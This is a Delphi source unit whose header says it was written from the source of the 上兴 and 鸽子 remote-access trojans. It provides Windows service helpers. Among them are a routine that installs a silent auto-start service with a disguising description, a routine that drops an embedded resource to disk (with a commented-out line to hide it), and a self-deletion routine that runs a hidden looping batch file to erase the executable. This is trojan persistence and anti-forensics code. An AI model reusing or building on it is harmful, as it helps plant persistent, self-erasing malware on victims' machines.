winntservice.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

//unit Service: List Service and Operate Service;
unit winntService;

interface

uses WinSvc,Windows,Sysutils,utils,WinSvcEx;



function ServiceRunning( sMachine,  sService : string ) : boolean;

function ServiceStart(  sMachine,  sService : string ) : boolean;

function ServiceStop(  sMachine,  sService : string ) : boolean;

function InstallService(Target:String;ServiceName:String;Filename:String;Value: string):Boolean;

function DelService(ServiceName:String):Boolean;

procedure Delme;                   //自删除

function GetDirectory(dInt: Integer): string;  //获取系统目录

function ExtractRes(ResType, ResName, OutName: string): Boolean; //释放文件

implementation



//获取安装目录
function GetDirectory(dInt: Integer): string;
begin
case dint of
0:result:=GetSpecialFolder(sfCommonFavorites)+'\';
1:result:=GetSpecialFolder(sfSystem)+'\';
2:result:=GetSpecialFolder(sfWindows)+'\';
end;
end;

function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
  HResInfo: THandle;
  HGlobal: THandle;
  HFile: THandle;
  Ptr: Pointer;
  Size, N: Integer;
begin
  HFile := INVALID_HANDLE_VALUE;
  repeat
    Result := False;
    HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
    if HResInfo = 0 then Break;
    HGlobal := LoadResource(HInstance, HResInfo);
    if HGlobal = 0 then Break;
    Ptr := LockResource(HGlobal);
    Size := SizeOfResource(HInstance, HResInfo);
    if Ptr = nil then Break;
    HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if HFile = INVALID_HANDLE_VALUE then Break;
    if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
  until True;
  if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
//  SetFileAttributes(PChar(OutName), FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY);
end;
procedure Delme;
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  BatchFileName := GetDirectory(1) + 'Deleteme.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
  WriteLn(F, ':try');
  WriteLn(F, 'del "' + ParamStr(0) + '"');
  WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F, 'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;

function ServiceGetDisplayName(
  sMachine,
  sServiceKeyName : string ) : string;
var
  schm          : SC_Handle;
  nMaxNameLen   : DWord;    // max display name len
  psServiceName : PChar;
begin
  Result := '';
  nMaxNameLen := 255;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then    // if successful...
  begin
    psServiceName :=
      StrAlloc(nMaxNameLen+1);
    if(nil <> psServiceName)then
    begin
      if( GetServiceDisplayName(schm,PChar(sServiceKeyName),psServiceName,nMaxNameLen ) )then
      begin
        psServiceName
          [nMaxNameLen] := #0;
        Result :=StrPas( psServiceName );
      end;
      StrDispose(psServiceName);
    end;
    CloseServiceHandle(schm);
  end;
end;

function ServiceGetStatus(sMachine,sService : string ) : DWord;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  dwStat : DWord;
begin
  dwStat := 0;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then    // if successful...
  begin

    schs := OpenService(schm,PChar(sService),SERVICE_QUERY_STATUS);

    if(schs > 0)then  // if successful...
    begin
      if(QueryServiceStatus(schs,ss))then
      begin
        dwStat := ss.dwCurrentState;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);

  Result := dwStat;
    end
    else Result := SERVICE_STOPPED;
end;

function ServiceRunning(sMachine,sService : string ) : boolean;
begin
  Result := SERVICE_RUNNING=ServiceGetStatus(sMachine, sService );
end;

function ServiceStart( sMachine,
  sService : string ) : boolean;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  psTemp : PChar;
  dwChkP : DWord;
begin
  ss.dwCurrentState := 0;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then  // if successful...
  begin
    schs := OpenService(schm,PChar(sService),
      SERVICE_START or
      SERVICE_QUERY_STATUS);

    if(schs > 0)then  // if successful...
    begin
      psTemp := Nil;
      if(StartService(schs,0,psTemp))then
      begin
        if(QueryServiceStatus(schs,ss))then
        begin
          while(SERVICE_RUNNING<>ss.dwCurrentState)do
          begin
            dwChkP := ss.dwCheckPoint;
            Sleep(ss.dwWaitHint);
            if(not QueryServiceStatus(schs,ss))then
            begin
              break;
            end;
            if(ss.dwCheckPoint <dwChkP)then
            begin
              break;
            end;
          end;
        end;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);
  end;
  Result :=SERVICE_RUNNING=ss.dwCurrentState;
end;



function ServiceStop(
  sMachine,
  sService : string ) : boolean;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  dwChkP : DWord;
begin
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then  // if successful...
  begin
    schs := OpenService(schm,PChar(sService),
      SERVICE_STOP or
      SERVICE_QUERY_STATUS);
    if(schs > 0)then  // if successful...
    begin
      if(ControlService(schs,SERVICE_CONTROL_STOP,ss))then
      begin
        if(QueryServiceStatus(schs,ss))then
        begin
          while(SERVICE_STOPPED<>ss.dwCurrentState)do
          begin
            dwChkP := ss.dwCheckPoint;
            Sleep(ss.dwWaitHint);
            if(not QueryServiceStatus(schs,ss))then
            begin
              break;
            end;
            if(ss.dwCheckPoint <dwChkP)then
            begin
              break;
            end;
          end;
        end;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);
  end;

  Result :=SERVICE_STOPPED=ss.dwCurrentState;
end;



function InstallService(Target:String;ServiceName:String;Filename:String;Value: string):Boolean;
var
//ss     : TServiceStatus;
psTemp : PChar;
hSCM,hSCS:THandle;

srvdesc : PServiceDescription;
desc : string;
SrvType : DWord;
begin
psTemp := Nil;

SrvType := SERVICE_WIN32_OWN_PROCESS and SERVICE_INTERACTIVE_PROCESS;;

hSCM:=OpenSCManager('',nil,SC_MANAGER_ALL_ACCESS);
hSCS:=CreateService(hSCM, //句柄
Pchar(Target),            //服务名称
Pchar(ServiceName),       //显示服务名
SERVICE_ALL_ACCESS,       //服务访问类型
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,//服务类型  SERVICE_WIN32_OWN_PROCESS  and SERVICE_INTERACTIVE_PROCESS
SERVICE_AUTO_START,       //自动启动服务
SERVICE_ERROR_IGNORE,     //忽略错误
Pchar(Filename),          //启动的文件名
nil,//name of load ordering group (载入组名) 'LocalSystem'
nil,//标签标识符
nil,//相关性数组名
nil,//帐户(当前)
nil);//密码(当前)


  if Assigned(ChangeServiceConfig2) then
    begin
      // Service descriptions can't be longer than 1024!!!
      desc := Copy(Value,1,1024);
      GetMem(srvdesc,SizeOf(TServiceDescription));
      GetMem(srvdesc^.lpDescription,Length(desc) + 1);
      try
        StrPCopy(srvdesc^.lpDescription, desc);

        ChangeServiceConfig2(hSCS,SERVICE_CONFIG_DESCRIPTION,srvdesc);

      finally
        FreeMem(srvdesc^.lpDescription);
        FreeMem(srvdesc);
      end;
    end;

{    if(StartService(hSCS,0,psTemp))then
      begin
         while  QueryServiceStatus(hSCS,ss) do begin
           if ss.dwCurrentState=SERVICE_START_PENDING then
             Sleep(30)
           else break;
           if ss.dwCurrentState=SERVICE_RUNNING then begin
              CloseServiceHandle(hSCS);
              result :=True;
           end else result :=False;
         end;
     end;   }
end;

function DelService(ServiceName:String):Boolean;
var
sm: THandle;
sh: THandle;
ret: Integer;
begin
try
  ret := 0;
  sm := OpenSCManager('', nil, SC_MANAGER_ALL_ACCESS);
  if sm <> 0 then
  begin
    sh := OpenService(sm, PChar(ServiceName), SERVICE_ALL_ACCESS);
    if sh <> 0 then
      begin
        DeleteService(sh);
        ret := 1;
        CloseServiceHandle(sh);
      end;
      CloseServiceHandle(sm);
  end;
  if Ret > 0 then
    result :=True
  else
    result :=False;
except
end;
end;

end.